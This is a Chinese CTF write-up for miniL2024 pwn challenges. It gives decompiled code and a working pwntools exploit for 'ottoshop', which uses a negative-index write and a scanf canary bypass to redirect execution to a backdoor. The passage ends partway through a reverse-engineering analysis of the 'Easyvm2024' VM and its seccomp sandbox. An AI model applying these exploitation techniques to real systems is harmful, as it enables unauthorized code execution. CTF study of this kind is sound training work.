nyyyddddn

miniL2024_pwn

2024/05/14

pwn

ottoshop

ida显示有些奇怪,修了一下,程序的逻辑是这样的,程序里还有一个backdoor,通过buy中的下界溢出去写binsh字符串,然后golden中的 scanf去写返回地址为backdoor就好了,scanf 如果输入数据的类型和formatstrings不匹配就不会写入数据,通过这种方式去绕过canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // [rsp+Ch] [rbp-44h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v3 = time(0LL);
srand(v3);
puts("Welcome to miniL pwn checkin!");
puts("Here,a ♿ shop,have some magic ♿ for u ~");
puts("u have 50 ottobucks to buy No.1-No.255 ♿!");
while ( 1 )
{
do
{
while ( 1 )
{
menu();
scanf();
if ( v4 != 666 )
break;
puts("u find it!");
ottoottootto();
}
}
while ( v4 > 666 );
if ( v4 == 4 )
{
check();
}
else if ( v4 <= 4 )
{
switch ( v4 )
{
case 3:
Golden();
break;
case 1:
buy();
break;
case 2:
change();
break;
}
}
}
}

unsigned __int64 buy()
{
int a; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
a = 0;
if ( money > 0 )
{
puts("which ♿ ?");
scanf("%d", (int)&a);
wheelchair[a] = 666;
if ( a > 255 )
{
puts("? fxxk u!");
exit(1);
}
puts("Give your ♿ a name!");
read(0, (char *)&name + 4 * a, 4uLL);
--money;
}
else
{
puts("NONONO..");
}
return v2 - __readfsqword(0x28u);
}

unsigned __int64 Golden()
{
int a; // [rsp+8h] [rbp-18h] BYREF
int i; // [rsp+Ch] [rbp-14h]
char v3[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
a = 0;
if ( gold != 1 )
{
puts("NONONONO..");
exit(1);
}
puts("Here are only 5 golden ♿..");
puts("How many golden ♿ u want to buy?");
scanf("%d", (int)&a);
if ( a > 5 )
{
puts("U R Greedy!");
exit(1);
}
for ( i = 0; i < a; ++i )
{
if ( money <= 14 )
{
puts("nononono..");
return v4 - __readfsqword(0x28u);
}
puts(aUCanGiveYourGo);
scanf("%ld", (int)&v3[8 * i]);
money -= 15;
}
return v4 - __readfsqword(0x28u);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999

elf = context.binary = ELF('./ottoshop')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def buy(idx,content):
sla('5.exit\n',b'1')
sl(str(idx))
sa("name!",content)

p = connect()


backdoor = 0x402128

# set menory = 0x10000
buy(-90,p32(0x10000))

# set flag1 = /bin/sh
buy(-92,p32(0x6e69622f))
buy(-91,p32(0x0068732f))

# set gold = 1
sla(b'5.exit\n',"666")
sa(b'find it!\n',b'\n')


sla(b'5.exit\n',"3")

sla(b'want to buy?\n',"4")
for i in range(3):
sla(b'passwd!',b'-')

sla(b'passwd!',str(backdoor).encode())




p.interactive()

game

啊这,这个game太抽象了一点都不好玩,不复现了

Easyvm2024

第一次做vmpwn相关的题目,去了解了一下vmpwn相对ctf re方向的虚拟机逆向来说,除了要识别 虚拟机中的 寄存器 堆栈,有哪些Instruct handler外,还需要去分析Instruct handler有什么漏洞,构造一些输入去触发这些漏洞,程序的逻辑大概是这样的

先mmap出来两个内存段,然后read opcode to memory,之后init_sandbox,start_vm这个函数开始处理opcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
void __fastcall main(__int64 a1, char a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // ecx
int v7; // r8d
int v8; // r9d
int v9; // eax
unsigned int v10; // [rsp+14h] [rbp-7Ch]
int v11; // [rsp+18h] [rbp-78h]
int v12; // [rsp+1Ch] [rbp-74h]
Virtual_machine v13; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v14; // [rsp+88h] [rbp-8h]

v14 = __readfsqword(0x28u);
setvbuf(off_4E4958, 0LL, 2LL, 0LL);
setvbuf(off_4E4950, 0LL, 2LL, 0LL);
setvbuf(off_4E4948, 0LL, 2LL, 0LL);
if ( !(unsigned int)init_memory(&v13) && !(unsigned int)read_data_to_memory((__int64)&v13, 0x1000uLL, v2, v3, v4, v5) )
{
puts("VM code received:\n-------------------------------------------");
v10 = 0;
v11 = 1;
v12 = 1;
while ( v10 <= 0xFFF )
{
if ( v12 )
{
v9 = v11++;
printf((unsigned int)"%03u: ", v9, v11, v6, v7, v8);
v12 = 0;
}
if ( *(_BYTE *)(v13.input_data_addr + v10) == 10 )
v12 = 1;
if ( !*(_BYTE *)(v13.input_data_addr + v10) )
break;
putchar(*(unsigned __int8 *)(v13.input_data_addr + v10++));
}
puts("\n-------------------------------------------");
if ( (unsigned int)init_sandbox() )
perror("sandbox failed");
else
start_vm(&v13);
}
}

__int64 __fastcall init_memory(_QWORD *a1)
{
__int64 v2; // [rsp+18h] [rbp-18h]
__int64 v3; // [rsp+20h] [rbp-10h]

v2 = mmap64(0LL, 4096LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
v3 = mmap64(539230208LL, 12288LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
j_memset_ifunc(a1, 0LL, 104LL);
a1[11] = v2;
a1[12] = v3;
if ( a1[11] && a1[12] )
{
j_memset_ifunc(a1[11], 0LL, 4096LL);
j_memset_ifunc(a1[12], 0LL, 12288LL);
a1[6] = -1LL;
return 0LL;
}
else
{
perror("mmap failed");
return 0xFFFFFFFFLL;
}
}

__int64 __fastcall read_data_to_memory(__int64 a1, unsigned __int64 a2, int a3, int a4, int a5, int a6)
{
unsigned __int64 i; // [rsp+18h] [rbp-18h]
__int64 v8; // [rsp+20h] [rbp-10h]

printf((unsigned int)"Please input your code (max: %d), end with EOF:\n", 4096, a3, a4, a5, a6);
if ( !*(_QWORD *)(a1 + 88) )
return 0xFFFFFFFFLL;
for ( i = 0LL; ; i += v8 )
{
if ( i >= a2 )
{
puts("Damn, too large!");
return 0xFFFFFFFFLL;
}
v8 = read(0LL, i + *(_QWORD *)(a1 + 88), a2 - i);
if ( !v8 )
break;
}
if ( i )
{
*(_BYTE *)(*(_QWORD *)(a1 + 88) + i) = 0;
return 0LL;
}
else
{
puts("Hold on, no code!");
return 0xFFFFFFFFLL;
}
}

__int64 init_sandbox()
{
int v1; // r8d
int v2; // r9d
int v3; // r8d
int v4; // r9d
int v5; // r8d
int v6; // r9d
int v7; // r8d
int v8; // r9d
int v9; // r8d
int v10; // r9d
int v11; // r8d
int v12; // r9d
int v13; // r8d
int v14; // r9d
int v15; // r8d
int v16; // r9d
int v17; // r8d
int v18; // r9d
int v19; // r8d
int v20; // r9d
int v21; // r8d
int v22; // r9d
int v23; // r8d
int v24; // r9d
int v25; // r8d
int v26; // r9d
int v27; // r8d
int v28; // r9d
int v29; // r8d
int v30; // r9d
int v31; // r8d
int v32; // r9d
int v33; // r8d
int v34; // r9d
char v35; // [rsp+0h] [rbp-30h]
char v36; // [rsp+0h] [rbp-30h]
char v37; // [rsp+0h] [rbp-30h]
char v38; // [rsp+0h] [rbp-30h]
char v39; // [rsp+0h] [rbp-30h]
char v40; // [rsp+0h] [rbp-30h]
char v41; // [rsp+0h] [rbp-30h]
char v42; // [rsp+0h] [rbp-30h]
char v43; // [rsp+0h] [rbp-30h]
char v44; // [rsp+0h] [rbp-30h]
char v45; // [rsp+0h] [rbp-30h]
char v46; // [rsp+0h] [rbp-30h]
char v47; // [rsp+0h] [rbp-30h]
char v48; // [rsp+0h] [rbp-30h]
char v49; // [rsp+0h] [rbp-30h]
char v50; // [rsp+0h] [rbp-30h]
char v51; // [rsp+0h] [rbp-30h]
int v52; // [rsp+4h] [rbp-2Ch]
__int64 v53; // [rsp+8h] [rbp-28h]
int v54; // [rsp+8h] [rbp-28h]
int v55; // [rsp+8h] [rbp-28h]
int v56; // [rsp+8h] [rbp-28h]
int v57; // [rsp+8h] [rbp-28h]
int v58; // [rsp+8h] [rbp-28h]
int v59; // [rsp+8h] [rbp-28h]
int v60; // [rsp+8h] [rbp-28h]
int v61; // [rsp+8h] [rbp-28h]
int v62; // [rsp+8h] [rbp-28h]
int v63; // [rsp+8h] [rbp-28h]
int v64; // [rsp+8h] [rbp-28h]
int v65; // [rsp+8h] [rbp-28h]
int v66; // [rsp+8h] [rbp-28h]
int v67; // [rsp+8h] [rbp-28h]
int v68; // [rsp+8h] [rbp-28h]
__int64 v69; // [rsp+8h] [rbp-28h]

v52 = open64("/dev/null", 0, v35);
if ( v52 < 0 )
return 0xFFFFFFFFLL;
if ( (int)madvise_1((unsigned int)v52, 0LL) < 0 )
return 0xFFFFFFFFLL;
close((unsigned int)v52);
v53 = seccomp_init(2147418112LL);
if ( !v53 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v53, 0, 59, 0, v1, v2, v36, v53) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v54, 0, 322, 0, v3, v4, v37, v54) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v55, 0, 57, 0, v5, v6, v38, v55) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v56, 0, 56, 0, v7, v8, v39, v56) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v57, 0, 435, 0, v9, v10, v40, v57) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v58, 0, 58, 0, v11, v12, v41, v58) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v59, 0, 62, 0, v13, v14, v42, v59) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v60, 0, 9, 0, v15, v16, v43, v60) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v61, 0, 11, 0, v17, v18, v44, v61) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v62, 0, 317, 0, v19, v20, v45, v62) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v63, 0, 157, 0, v21, v22, v46, v63) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v64, 0, 257, 0, v23, v24, v47, v64) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v65, 0, 85, 0, v25, v26, v48, v65) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v66, 0, 87, 0, v27, v28, v49, v66) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v67, 0, 86, 0, v29, v30, v50, v67) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v68, 0, 90, 0, v31, v32, v51, v68) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v69, 0, 2, 1, v33, v34, 1, 0) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_load(v69) >= 0 )
return 0LL;
return 0xFFFFFFFFLL;
}

这里read相关的这个函数处理的逻辑很奇怪,只有read的返回值为0才会往下走,搜索了一下 read只有读到一个eof才会返回0,因为这里read的逻辑,seccomp_tools 识别不出来沙箱的规则,所以需要使用ida去patch一下程序,在main函数的入口那 patch这样的逻辑

1
2
3
4
5
mov r15,seccomp_init_function_addr
call r15

seccomp_init_function:
jmp main_end

让程序一运行就把seccomp_init走一遍就能把沙箱的逻辑识别出来了,execve execveat被禁用了,有对x32 abi之类的使用做限制,大概率要打orw了
1714477266152.png

通过分析start_vm的逻辑和动调 尝试对start_vm做一些修复,重命名:
可以得知有 六个通用寄存器 名字分别是 REG0 - REG5 有一个PC寄存器 和一个flag寄存器
大概是这样一个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000 Virtual_machine struc ; (sizeof=0x60, mappedto_18)
00000000 register0 dq ?
00000008 register1 dq ?
00000010 register2 dq ?
00000018 register3 dq ?
00000020 register4 dq ?
00000028 register5 dq ?
00000030 unknow1 dq ?
00000038 flags_register dq ?
00000040 Instruction_type dq ?
00000048 pc_register dq ?
00000050 error_code dq ?
00000058 input_data_addr dq ?
00000060 Virtual_machine ends

重命名后的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
__int64 __fastcall start_vm(Virtual_machine *virtual_machine)
{
__int64 pc_register; // rbx
__int64 v2; // rax
__int64 v3; // rbx
__int64 input_data_addr; // rsi
__int64 v5; // rax
char v6; // cl
unsigned __int64 v7; // rax
__int64 v8; // rsi
__int64 v9; // rax
char v10; // cl
unsigned __int64 v11; // rax
__int64 v12; // rsi
__int64 v13; // rax
char v14; // cl
unsigned __int64 v15; // rax
int v17; // edx
int v18; // ecx
int v19; // r8d
int v20; // r9d
__int64 v21; // rdx
int v22; // ecx
int v23; // r8d
int v24; // r9d
int v25; // ecx
int v26; // r8d
int v27; // r9d
int v28; // edx
int v29; // ecx
int v30; // r8d
int v31; // r9d
int v32; // edx
int v33; // ecx
int v34; // r8d
int v35; // r9d
int v36; // edx
int v37; // ecx
int v38; // r8d
int v39; // r9d
int v40; // edx
int v41; // ecx
int v42; // r8d
int v43; // r9d
int v44; // edx
int v45; // ecx
int v46; // r8d
int v47; // r9d
int v48; // edx
int v49; // ecx
int v50; // r8d
int v51; // r9d
int i; // [rsp+14h] [rbp-BCh]
__int64 v53; // [rsp+18h] [rbp-B8h]
unsigned __int64 v54; // [rsp+20h] [rbp-B0h]
unsigned __int64 v55; // [rsp+28h] [rbp-A8h]
unsigned __int64 v56; // [rsp+30h] [rbp-A0h]
unsigned __int64 Instruction_only_one_operand__first_operand_len; // [rsp+38h] [rbp-98h]
unsigned __int64 Instruction_only_two_operand__first_operand_len; // [rsp+40h] [rbp-90h]
unsigned __int64 Instruction_only_two_operand__second_operand_len; // [rsp+48h] [rbp-88h]
unsigned __int64 v60; // [rsp+50h] [rbp-80h]
unsigned __int64 v61; // [rsp+50h] [rbp-80h]
unsigned __int64 v62; // [rsp+50h] [rbp-80h]
unsigned __int64 v63; // [rsp+50h] [rbp-80h]
unsigned __int64 v64; // [rsp+50h] [rbp-80h]
unsigned __int64 v65; // [rsp+50h] [rbp-80h]
unsigned __int64 v66; // [rsp+50h] [rbp-80h]
unsigned __int64 v67; // [rsp+50h] [rbp-80h]
unsigned __int64 v68; // [rsp+50h] [rbp-80h]
unsigned __int64 v69; // [rsp+50h] [rbp-80h]
unsigned __int64 v70; // [rsp+50h] [rbp-80h]
unsigned __int64 v71; // [rsp+50h] [rbp-80h]
unsigned __int64 v72; // [rsp+50h] [rbp-80h]
unsigned __int64 v73; // [rsp+50h] [rbp-80h]
unsigned __int64 v74; // [rsp+58h] [rbp-78h]
unsigned __int64 v75; // [rsp+58h] [rbp-78h]
unsigned __int64 v76; // [rsp+58h] [rbp-78h]
unsigned __int64 v77; // [rsp+58h] [rbp-78h]
unsigned __int64 v78; // [rsp+58h] [rbp-78h]
unsigned __int64 v79; // [rsp+58h] [rbp-78h]
unsigned __int64 v80; // [rsp+58h] [rbp-78h]
unsigned __int64 v81; // [rsp+58h] [rbp-78h]
unsigned __int64 v82; // [rsp+58h] [rbp-78h]
unsigned __int64 v83; // [rsp+58h] [rbp-78h]
__int64 *v84; // [rsp+60h] [rbp-70h]
__int64 v85[4]; // [rsp+70h] [rbp-60h] BYREF
__int64 v86[7]; // [rsp+90h] [rbp-40h] BYREF

v86[5] = __readfsqword(0x28u);
v53 = 0LL;
memset(v85, 0, sizeof(v85));
memset(v86, 0, 32);
LABEL_193:
while ( virtual_machine->pc_register <= 0xFFFuLL )
{
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t'
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\n'
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\r')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
++virtual_machine->pc_register; // pc寄存器跳过指令序列中的' ' '\n' '\r' '\t'
for ( i = 0; (&instruction_list)[3 * i]; ++i )
{
pc_register = virtual_machine->pc_register;
if ( (unsigned __int64)(pc_register + j_wcsncmp_ifunc((&instruction_list)[3 * i])) <= 0xFFF )
{
v2 = j_wcsncmp_ifunc((&instruction_list)[3 * i]);
if ( !(unsigned int)j_strncmp_ifunc(
virtual_machine->pc_register + virtual_machine->input_data_addr,
(&instruction_list)[3 * i],
v2) )
{
virtual_machine->Instruction_type = (__int64)(&instruction_list)[3 * i + 1];
v3 = virtual_machine->pc_register;
virtual_machine->pc_register = v3 + j_wcsncmp_ifunc((&instruction_list)[3 * i]);
break;
}
virtual_machine->Instruction_type = 20LL;
}
}
if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)1 )
{
j_memset_ifunc(v85, 0LL, 32LL);
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
++virtual_machine->pc_register;
for ( Instruction_only_one_operand__first_operand_len = 0LL;
*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& Instruction_only_one_operand__first_operand_len <= 0x1E// 单个操作数的指令序列第一个操作数长度不超过 0x1E
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n';
++Instruction_only_one_operand__first_operand_len )
{
input_data_addr = virtual_machine->input_data_addr;
v5 = virtual_machine->pc_register;
virtual_machine->pc_register = v5 + 1;
v6 = *(_BYTE *)(input_data_addr + v5);
v7 = Instruction_only_one_operand__first_operand_len;
*((_BYTE *)v85 + v7) = v6;
}
*((_BYTE *)v85 + Instruction_only_one_operand__first_operand_len) = 0;
if ( !Instruction_only_one_operand__first_operand_len )
goto Error_about_Miss_oprand;
}
else if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)2 )
{
j_memset_ifunc(v85, 0LL, 32LL);
j_memset_ifunc(v86, 0LL, 32LL);
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
++virtual_machine->pc_register;
Instruction_only_two_operand__first_operand_len = 0LL;
while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& Instruction_only_two_operand__first_operand_len <= 0x1E
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
{
v8 = virtual_machine->input_data_addr;
v9 = virtual_machine->pc_register;
virtual_machine->pc_register = v9 + 1;
v10 = *(_BYTE *)(v8 + v9);
v11 = Instruction_only_two_operand__first_operand_len++;
*((_BYTE *)v85 + v11) = v10;
}
*((_BYTE *)v85 + Instruction_only_two_operand__first_operand_len) = 0;
if ( !Instruction_only_two_operand__first_operand_len )
goto Error_about_Miss_oprand;
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
++virtual_machine->pc_register;
Instruction_only_two_operand__second_operand_len = 0LL;
while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& Instruction_only_two_operand__second_operand_len <= 0x1E
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
{
v12 = virtual_machine->input_data_addr;
v13 = virtual_machine->pc_register;
virtual_machine->pc_register = v13 + 1;
v14 = *(_BYTE *)(v12 + v13);
v15 = Instruction_only_two_operand__second_operand_len++;
*((_BYTE *)v86 + v15) = v14;
}
*((_BYTE *)v86 + Instruction_only_two_operand__second_operand_len) = 0;
if ( !Instruction_only_two_operand__second_operand_len )
{
Error_about_Miss_oprand:
virtual_machine->error_code = 2LL;
puts("ERROR: Miss oprand!");
return virtual_machine->error_code;
}
}
while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
++virtual_machine->pc_register;
++virtual_machine->pc_register;
switch ( virtual_machine->Instruction_type )
{
case 0LL: // NOP
goto LABEL_193;
case 1LL: // LOAD REG0 address
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v60 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v60 > 5 )
goto Error_about_invalid_register;
v84 = (__int64 *)atoi(v86, 0LL, 16LL);
if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
goto Error_about_invalid_address;
if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
goto LABEL_76;
*(&virtual_machine->register0 + v60) = *v84;
goto LABEL_193;
case 2LL: // STORE REG0 address
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v74 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v74 > 5 )
goto Error_about_invalid_register;
v84 = (__int64 *)atoi(v86, 0LL, 16LL);
if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
{
Error_about_invalid_address:
virtual_machine->error_code = 4LL;
printf((unsigned int)"ERROR: Invalid address: %#lx!\n", (_DWORD)v84, v17, v18, v19, v20);
return virtual_machine->error_code;
}
if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
{
LABEL_76:
virtual_machine->error_code = 4LL;
printf((unsigned int)"ERROR: Invalid memory access: %lx!\n", (_DWORD)v84, v17, v18, v19, v20);
return virtual_machine->error_code;
}
*v84 = *(&virtual_machine->register0 + v74);
goto LABEL_193;
case 3LL: // MOV REG0 REG1
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v61 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v61 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v75 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v75 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v61) = *(&virtual_machine->register0 + v75);
goto LABEL_193;
case 4LL: // ADD REG0 REG1
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v62 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v62 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v76 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v76 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v62) += *(&virtual_machine->register0 + v76);
goto LABEL_193;
case 5LL: // SUB REG0 REG1
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v63 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v63 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v77 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v77 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v63) -= *(&virtual_machine->register0 + v77);
goto LABEL_193;
case 6LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v64 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v64 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v78 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v78 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v64) *= *(&virtual_machine->register0 + v78);
goto LABEL_193;
case 7LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v65 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v65 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v79 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v79 > 5 )
